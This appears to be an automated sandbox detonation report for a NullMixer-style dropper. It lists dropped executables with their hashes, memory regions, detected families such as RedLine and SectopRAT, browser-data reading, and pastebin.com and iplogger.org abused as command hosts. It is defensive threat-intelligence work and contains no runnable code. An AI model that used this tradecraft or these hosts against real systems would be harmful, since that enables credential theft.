| SHA1 | 16beed53fc46bf75cf4081d73dc843f4d8298569 |
| SHA256 | bce2f04e884c2dd6e799861898546be00a745fa1e743ce51044d2232065d2409 |
| SHA512 | 8e2ca4555b5741400559244bd37e0be09b18e246026e3d0507b02956c27fdc9dabca55672cbd8a52a5832fe66c6da3fe1e649a1cfad101f9c655aa20aa1da31b |
C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri2050293ea5.exe
| MD5 | 7d44a083f0e81baf1ecb264b93bdc9a5 |
| SHA1 | 4dd23b40065e2ccfbdd4c79386d7e2d37a53efce |
| SHA256 | 073b1354e582f8fd758bd128d764fd305d50d76fc45147eb1240e8a402ed1da5 |
| SHA512 | 245827096522beb8b54a60ad3549cd7509ab35fe650cb2f7d6b48f4cf76430c25c3162ff284d78b19d2351457bbfbd0d2d71751abeb703fef3e2736ab6825c82 |
C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri209c4b463b.exe
| MD5 | a729d63514511766fcdd2de19cdbd017 |
| SHA1 | 737827e5c0ab0adc287d3b3bb16d26a9a42f0939 |
| SHA256 | 6dda16414ec5a7f6908f6088ea5edb7c67b024c3f695fbf7048ab823bcfee728 |
| SHA512 | ad6bc65c950a94383f3f1d987508d22167343db632412b74d4734482916a7c18981dc8d84c57109f0882f6c5c6f280db876bafd24837f06996614d1bb9ce6ee2 |
C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri2002ce5f91c761.exe
| MD5 | 39fbed3967544cc6a59e1d1152cdcc35 |
| SHA1 | b9e974a506f3be7fc78574ae008e7686093eb82d |
| SHA256 | cb9c63211d26b56dff5651f9fc8a872fd9aab26dfa32df84086aa86ab39810e6 |
| SHA512 | cade223df33187f024aaf18794f5890c08cc3387f3e3417908220cc690a55275b558a83e219fb45c98b5c728746fb211d6a68eec0a7e62d08f4b05cc07b8ede3 |
C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri20d5530575e8aa3ed.exe
| MD5 | 7c20266d1026a771cc3748fe31262057 |
| SHA1 | fc83150d1f81bfb2ff3c3d004ca864d53004fd27 |
| SHA256 | 4b2fb0f42a923104b69a45aa7a503fbd08739ebf3711599303aa15692136fa46 |
| SHA512 | e18c803e38a2111857519639b1ac838edc5b496a79fc579c7329188c66ba791cc499874132e4d616c24447d0cc5ebe7659f69ed1a810bea1a675b94d089b995f |
C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri209f6924af86d795.exe
| MD5 | 1902e1df4ecf3bf7bcfc0c53b992cd24 |
| SHA1 | a0c9cde0b2113466a820fa6ebcccfdcd93b26b97 |
| SHA256 | c3bf5a1821e67a8d734ce91cb75b6878457f69ea3211a6c1405bfd30759f2720 |
| SHA512 | 37dbad160b91e1fc2079a46e77c8d261ad4f4dbbdfcc4d1c5ea70beeb10d271d48a13ef3b3c76a4878b4187d08a66097cb5a8cf77531a4c0df5914d3be2296b6 |
C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri20ee0a6fe195bd09.exe
| MD5 | 06ee576f9fdc477c6a91f27e56339792 |
| SHA1 | 4302b67c8546d128f3e0ab830df53652f36f4bb0 |
| SHA256 | 035373a454afd283da27ebf569ab355be7db470a1a30c3695e18c984b785e1f8 |
| SHA512 | e5b337158905651e2740378615fcd9a8ba2b5e46f02c75be20c22e89b4cb40e8f1dfec1c5c1135f4d59114da9200a772f591622eddb865880b296321d80fb616 |
memory/4508-129-0x0000000000400000-0x0000000000414000-memory.dmp
memory/3968-132-0x00000000008E0000-0x00000000008F8000-memory.dmp
memory/3960-138-0x0000000000BA0000-0x0000000000C12000-memory.dmp
memory/3968-142-0x00000000050A0000-0x00000000050A6000-memory.dmp
memory/3960-139-0x0000000005330000-0x00000000053A6000-memory.dmp
memory/3788-136-0x0000000000FD0000-0x0000000000FD8000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\is-UBCNU.tmp\Fri20d5530575e8aa3ed.tmp
| MD5 | 9303156631ee2436db23827e27337be4 |
| SHA1 | 018e0d5b6ccf7000e36af30cebeb8adc5667e5fa |
| SHA256 | bae22f27c12bce1faeb64b6eb733302aff5867baa8eed832397a7ce284a86ff4 |
| SHA512 | 9fe100fafb1c74728109667b5a2261a31e49c45723de748adaa1d9cb9f8daa389b871056c70066fa3a05be82a5017c8dd590ae149a56d824a9e250d31091a40f |
memory/2384-147-0x00000000067B0000-0x00000000067FC000-memory.dmp
memory/3960-145-0x0000000001600000-0x000000000161E000-memory.dmp
memory/2384-146-0x0000000006700000-0x000000000671E000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\is-E5NS6.tmp\idp.dll
| MD5 | b37377d34c8262a90ff95a9a92b65ed8 |
| SHA1 | faeef415bd0bc2a08cf9fe1e987007bf28e7218d |
| SHA256 | e5a0ad2e37dde043a0dd4ad7634961ff3f0d70e87d2db49761eb4c1f468bb02f |
| SHA512 | 69d8da5b45d9b4b996d32328d3402fa37a3d710564d47c474bf9e15c1e45bc15b2858dbab446e6baec0c099d99007ff1099e9c4e66cfd1597f28c420bb50fdcc |
memory/3960-157-0x0000000005B00000-0x00000000060A4000-memory.dmp
memory/3232-162-0x0000000000400000-0x00000000004BD000-memory.dmp
memory/1164-166-0x0000000000400000-0x000000000051C000-memory.dmp
memory/2604-163-0x0000000000400000-0x0000000000414000-memory.dmp
memory/4508-176-0x0000000000400000-0x0000000000414000-memory.dmp
memory/1164-175-0x0000000064940000-0x0000000064959000-memory.dmp
memory/1164-174-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/1164-173-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/1164-172-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/1164-170-0x000000006EB40000-0x000000006EB63000-memory.dmp
memory/4884-189-0x0000000003440000-0x0000000003464000-memory.dmp
memory/4884-190-0x00000000038E0000-0x0000000003902000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\is-6BJAJ.tmp\_isetup\_shfoldr.dll
| MD5 | 92dc6ef532fbb4a5c3201469a5b5eb63 |
| SHA1 | 3e89ff837147c16b4e41c30d6c796374e0b8e62c |
| SHA256 | 9884e9d1b4f8a873ccbd81f8ad0ae257776d2348d027d811a56475e028360d87 |
| SHA512 | 9908e573921d5dbc3454a1c0a6c969ab8a81cc2e8b5385391d46b1a738fb06a76aa3282e0e58d0d2ffa6f27c85668cd5178e1500b8a39b1bbae04366ae6a86d3 |
memory/4884-192-0x00000000039A0000-0x00000000039B2000-memory.dmp
memory/4884-191-0x0000000006410000-0x0000000006A28000-memory.dmp
memory/4884-193-0x0000000006A30000-0x0000000006B3A000-memory.dmp
memory/4884-194-0x00000000039C0000-0x00000000039FC000-memory.dmp
memory/3256-202-0x0000000000400000-0x0000000000422000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Fri20fbc038b0b02ea.exe.log
| MD5 | e5352797047ad2c91b83e933b24fbc4f |
| SHA1 | 9bf8ac99b6cbf7ce86ce69524c25e3df75b4d772 |
| SHA256 | b4643874d42d232c55bfbb75c36da41809d0c9ba4b2a203049aa82950345325c |
| SHA512 | dd2fc1966c8b3c9511f14801d1ce8110d6bca276a58216b5eeb0a3cfbb0cc8137ea14efbf790e63736230141da456cbaaa4e5c66f2884d4cfe68f499476fd827 |
memory/2384-204-0x000000006EC10000-0x000000006EC5C000-memory.dmp
memory/2384-214-0x0000000006CF0000-0x0000000006D0E000-memory.dmp
memory/2384-203-0x0000000006D10000-0x0000000006D42000-memory.dmp
memory/2384-218-0x00000000079F0000-0x0000000007A93000-memory.dmp
memory/2384-225-0x00000000077C0000-0x00000000077DA000-memory.dmp
memory/2384-224-0x0000000008120000-0x000000000879A000-memory.dmp
memory/2384-229-0x0000000007B00000-0x0000000007B0A000-memory.dmp
memory/2384-231-0x0000000007CF0000-0x0000000007D86000-memory.dmp
memory/3700-232-0x0000000000400000-0x00000000016BC000-memory.dmp
memory/2384-233-0x0000000007C80000-0x0000000007C91000-memory.dmp
memory/2384-234-0x0000000007CB0000-0x0000000007CBE000-memory.dmp
memory/2384-235-0x0000000007CC0000-0x0000000007CD4000-memory.dmp
memory/2384-236-0x0000000007DB0000-0x0000000007DCA000-memory.dmp
memory/2384-245-0x0000000007DA0000-0x0000000007DA8000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\ScMeAP.SU
| MD5 | ac6ad5d9b99757c3a878f2d275ace198 |
| SHA1 | 439baa1b33514fb81632aaf44d16a9378c5664fc |
| SHA256 | 9b8db510ef42b8ed54a3712636fda55a4f8cfcd5493e20b74ab00cd4f3979f2d |
| SHA512 | bfcdcb26b6f0c288838da7b0d338c2af63798a2ece9dcd6bc07b7cadf44477e3d5cfbba5b72446c61a1ecf74a0bccc62894ea87a40730cd1d4c2a3e15a7bb55b |
C:\Users\Admin\AppData\Local\Temp\20L2vNO.2
| MD5 | 4bf3493517977a637789c23464a58e06 |
| SHA1 | 519b1fd3df0a243027c8cf4475e6b2cc19e1f1f4 |
| SHA256 | ccf0f8d1770436e1cd6cdcfa72d79a791a995a2f11d22bdf2b1e9bfbdd6f4831 |
| SHA512 | 4d094e86e9c7d35231020d97fbcc7d0c2f748d1c22819d1d27dabbb262967800cc326911a7e5f674461d9932e244affe9a01fa9527f53248e5867490e0e09501 |
C:\Users\Admin\AppData\Local\Temp\gUVIl5.SCh
| MD5 | 973c9cf42285ae79a7a0766a1e70def4 |
| SHA1 | 4ab15952cbc69555102f42e290ae87d1d778c418 |
| SHA256 | 7163bfaaaa7adb44e4c272a5480fbd81871412d0dd3ed07a92e0829e68ec2968 |
| SHA512 | 1a062774d3d86c0455f0018f373f9128597b676dead81b1799d2c2f4f2741d32b403027849761251f8389d248466bcd66836e0952675adcd109cc0e950eaec85 |
C:\Users\Admin\AppData\Local\Temp\pajqyzJ.o
| MD5 | 394f820f75a9a6164a0ceff2db6037a1 |
| SHA1 | 5843110d8ce5e27f0f3d7781151891bff9131664 |
| SHA256 | 31a92c9d65ee868ca0b23ee616a590f3cd4ac22aef1846f33eda8abac4e8d007 |
| SHA512 | 48ce7ee8114e126aa3f679f465bef64d062c88365607b1afe87cbb2faed88ec88109a2edcd610a72b937172d60668208cdf66fbfce640ffe25547294d1884b44 |
C:\Users\Admin\AppData\Local\Temp\ykifDQA.1
| MD5 | 7b25b2318e896fa8f9a99f635c146c9b |
| SHA1 | 10f39c3edb37b848974da0f9c1a5baa7d7f28ee2 |
| SHA256 | 723b3b726b9a7394ac3334df124a2033536b108a8eb87ec69e0a6e022c7dcd89 |
| SHA512 | a3b294e93e9d0a199af21ad50af8290c0e0aaa7487019480ca3ffd75aa8ad51c4d33612ec69275e4fa2273ca5e33fdfdf263bb0ce81ad43ce092147118fa8ca6 |
C:\Users\Admin\AppData\Local\Temp\7TcIneJp.0
| MD5 | 6c83f0423cd52d999b9ad47b78ba0c6a |
| SHA1 | 1f32cbf5fdaca123d32012cbc8cb4165e1474a04 |
| SHA256 | 4d61a69e27c9a8982607ace09f0f507625f79050bdf7143c7fe0701bf1fab8ae |
| SHA512 | e3d1537f4b22ceadfef3b30216b63320b397a179ab9d5f1eb66f93811a2717ee1fb6222989f610acd4c33fae6078c3df510022b5748a4f1d88ebf08c12f9deec |
memory/4408-278-0x0000000002450000-0x0000000002679000-memory.dmp
memory/4040-283-0x0000000000400000-0x00000000016D5000-memory.dmp
memory/4884-282-0x0000000000400000-0x00000000016E0000-memory.dmp
memory/2604-288-0x0000000000400000-0x0000000000414000-memory.dmp
memory/828-292-0x0000000000400000-0x00000000004BD000-memory.dmp
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
| MD5 | d751713988987e9331980363e24189ce |
| SHA1 | 97d170e1550eee4afc0af065b78cda302a97674c |
| SHA256 | 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945 |
| SHA512 | b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af |
memory/2344-302-0x0000000002FB0000-0x0000000003055000-memory.dmp
memory/4408-303-0x0000000002450000-0x0000000002679000-memory.dmp
memory/2344-307-0x0000000003060000-0x00000000030F2000-memory.dmp
memory/2344-304-0x0000000003060000-0x00000000030F2000-memory.dmp
memory/2344-310-0x0000000000400000-0x000000000054C000-memory.dmp
memory/4040-309-0x0000000000400000-0x00000000016D5000-memory.dmp
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
| MD5 | 290966513751c433b17834c5cc7449b4 |
| SHA1 | 90a669b00d4de967cf113013bd3245a1dc3c545b |
| SHA256 | dcb07d3b38445f4bc74d276fa174d5d70574d05ebc1d5ea2932915311062a7f0 |
| SHA512 | 4f2e70b95582e57332e051cfb00b19f8e04d4c98daaee415a30b289180b4bf96c910a9bc9e3d3426ff7910e4e932d8ae2203f87eda64727ebaf12f3c4079b53e |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
| MD5 | ffff072c781638f9baed6c1cbf3b3b79 |
| SHA1 | 58ded86bda9a80ce81cf9eedcd3a2c8b61e95096 |
| SHA256 | e534ea44de0a93b8a55678dbd16889e815366023eab16a0d325819ac9b7e7950 |
| SHA512 | f1772fc9924cf7205424cb99fb26ee82599933406908b2ba908202329369f9fcd013e3e07850820f2e82d9d4df24704d35d7ea56465aadd28900f1894666b9e2 |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
| MD5 | 6837e48c6eadb8833b9e33d837f6af5c |
| SHA1 | 9cfa13f0b1d9cfbb58f344d6d8d29291b375490d |
| SHA256 | ab454c48bfd40bac44db4a48277e426b479e527ecb5162eb93bc69d98c94bcda |
| SHA512 | 31b4d54c1174b5967166d9909b534119d008bcac79cc2e8ae0c76cc69f81982dbbd4df45d430597ef458aaffe340fc322574f9da475c185cf36fbb2a25404b99 |
memory/4408-339-0x0000000002B50000-0x0000000002BF8000-memory.dmp
memory/4408-340-0x0000000002C00000-0x0000000002C95000-memory.dmp
memory/4408-343-0x0000000002C00000-0x0000000002C95000-memory.dmp
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
| MD5 | ebc3cabea73e04ffb5e3b52d9120b1d0 |
| SHA1 | 11aef439cdd6ffdb7116f08ee8cf9f23afc15555 |
| SHA256 | 866377a6efa5ae033b5d2babb0137d0070d076c3d077c40787256501ceb42c3c |
| SHA512 | 7f922d0edfdac4d884bb99ad17eb16aa539fec05e83678331efad7ccc6b5182e1ea41dc84a81db2c7607201a0a5a8a7f4cfa105f6d1b55c71cdbe52b1eb6d2df |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
| MD5 | 06000763097330ca29a7195e9d7e12b4 |
| SHA1 | e036a812d2170d7dda262fc850b5f32570fcd5f0 |
| SHA256 | a590ef8704b457070f67feba63578c5c56b28328ea236fd3a87e1e0485a52f85 |
| SHA512 | 065e62edbc0a0ea686fd66acb1994a5c75458986c5050c0c0106747bc91b02e92be5588780836e05e54374d8d7eacb5b4a6ed3c13ff0e29b66311503f0dd1ffd |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
| MD5 | eb99c017cab1c918cc222f751ec8d851 |
| SHA1 | 421cc9790888b7656b4b1f97f029234d88aca900 |
| SHA256 | 3d26b3acbd5f59d2714ba4b84634b601739e4ae83b97a780fea1bf4905f9204d |
| SHA512 | 03ee8d13187f04dc4423431ab3daac695f5f35872e9a30aa735850f0623d25b026dae99bed9322e11a8090f7e993f6408a2d7494a1dcca216941d4fc6694fefd |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
| MD5 | 519af26946fe0e15fbb030736075e957 |
| SHA1 | 4da874402879b0aa144812ce26a2681943b2f6fe |
| SHA256 | 526222e9ca2bdd1e6aa876021b10b3f3df1b3f1f5f6295ce578c718ce17e945b |
| SHA512 | bfb886d9d875ee3d263dad427ecd25dec3afa5375df77dab72a2b42eec4759d17e8d7ac5f35a4618f96f7b0d85b080a35988f2c355b29ea0f331fa04aca8ed80 |
memory/4040-381-0x0000000000400000-0x00000000016D5000-memory.dmp
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
| MD5 | 6457eb722d855fd1ca143ecd06f666d3 |
| SHA1 | b620d7cd1f6e677661c16743b90b8629fad06ab6 |
| SHA256 | 6eb1df8b28d9f59fa3f48e1a5efbf6d0f11b6456d91d72fc31c42090a9758935 |
| SHA512 | f5b9986d0e08b5c055fe6985ba13cf448d496b9af7ae416899fc7eb5875f0ab33c02500073ead58df7086d751c0a6c87731324d17942774db47c8c08953639e2 |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
| MD5 | c81be664c88c561f4edf2f39b00f2232 |
| SHA1 | 95c0438930d0af5ae671ea9b7092f5000fb8dfaf |
| SHA256 | b37eb2e43a599248a28ca39b723f02e9970ac5de34dff809de1c0d61c7af3aa8 |
| SHA512 | 48f36b0a1cdc064b9f8580e971d6be0b32f398e6e0af2aaddf43fec13613d5cbd5f8c2f7ed4f24120ad9a772d8202572e82cf559e9a61413f0e55f5a71002412 |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
| MD5 | a27f798afb5879813705fb86330ce6c1 |
| SHA1 | 0a262d8902d82cce904cb20225929e762966a34f |
| SHA256 | 6c1ff1800840df9b44d82f8c3fd1de1233d2f6538347027624717bcdf2295200 |
| SHA512 | ba041a2edf9ac99a34e405dd3168c911b2b6115a53f460263f003030f02d94f923a66f384637459cc0d7f225c8ada79fdf79a256951213f4f436730821b3d6c5 |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
| MD5 | f8e72bb737fb5a8706e75a141476d2f7 |
| SHA1 | a453ef8a932077b383aebb6a1efcf52aa0d12fea |
| SHA256 | 558673f6d2c81c123f15c49e9de74b6bfec869dae97f78c53c00ce18dcaf90a6 |
| SHA512 | 9b72ff8427a52c033e728db2d5adadbeb89d0859a4f9f0884ea98457549cdae72f5f7c7f46043599d40081052a4ebf82e6be97ca9d57403c4726a1221f744834 |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
| MD5 | 9d6d333370095e65efad9aa02c2b7c29 |
| SHA1 | efabad5cccd63195592a699a6c04cb241f84e202 |
| SHA256 | edc11bad3912cf25902ad3c58ae0957ac0676ae95ec259fe8fa41f16e3f3c889 |
| SHA512 | 541a84b6d1fd2043e1b90b62b9c79d8dcf2fe8fbc2c0de18e74cb964999ac793f2efe17351a27f4433854acf470482b6d64b847578ddacec89ccccc7b6f5e77d |
Analysis: behavioral3
Detonation Overview
Submitted
2024-11-24 19:57
Reported
2024-11-24 19:59
Platform
win7-20241010-en
Max time kernel
119s
Max time network
126s
Command Line
Signatures
Detect Fabookie payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Fabookie
Fabookie family
GCleaner
Gcleaner family
NullMixer
Nullmixer family
OnlyLogger
Onlylogger family
PrivateLoader
Privateloader family
RedLine
RedLine payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Redline family
SectopRAT
SectopRAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Sectoprat family
Socelars
Socelars family
Socelars payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
OnlyLogger payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
ASPack v2.12-2.42
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Executes dropped EXE
Loads dropped DLL
Reads user/profile data of web browsers
Checks installed software on the system
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | pastebin.com | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
| N/A | iplogger.org | N/A | N/A |
| N/A | iplogger.org | N/A | N/A |
| N/A | iplogger.org | N/A | N/A |
| N/A | iplogger.org | N/A | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Looks up geolocation information via web service
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 3036 set thread context of 2332 | N/A | C:\Users\Admin\AppData\Local\Temp\7zS44845BB7\Fri20fbc038b0b02ea.exe | C:\Users\Admin\AppData\Local\Temp\7zS44845BB7\Fri20fbc038b0b02ea.exe |
Enumerates physical storage devices
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Users\Admin\AppData\Local\Temp\7zS44845BB7\setup_install.exe |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Users\Admin\AppData\Local\Temp\7zS44845BB7\Fri2050293ea5.exe |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\taskkill.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS44845BB7\Fri208f5f140853548.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS44845BB7\Fri20d5530575e8aa3ed.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS44845BB7\Fri2050293ea5.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS44845BB7\Fri20ee0a6fe195bd09.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\is-KPG5T.tmp\Fri20d5530575e8aa3ed.tmp | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\taskkill.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\rundll32.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\09xU.exE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS44845BB7\Fri20fbc038b0b02ea.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS44845BB7\Fri209f6924af86d795.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS44845BB7\Fri20109b9e174d0fc.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\EUUIXyGKjuAj.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\is-7E22Q.tmp\Fri20d5530575e8aa3ed.tmp | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS44845BB7\Fri20c0c46650eeb2a.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS44845BB7\Fri20d5530575e8aa3ed.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\msiexec.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS44845BB7\Fri2060ea1c5d8fae8aa.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\taskkill.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\setup_installer.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS44845BB7\Fri209d5bfbb2.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\control.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\rundll32.exe | N/A |
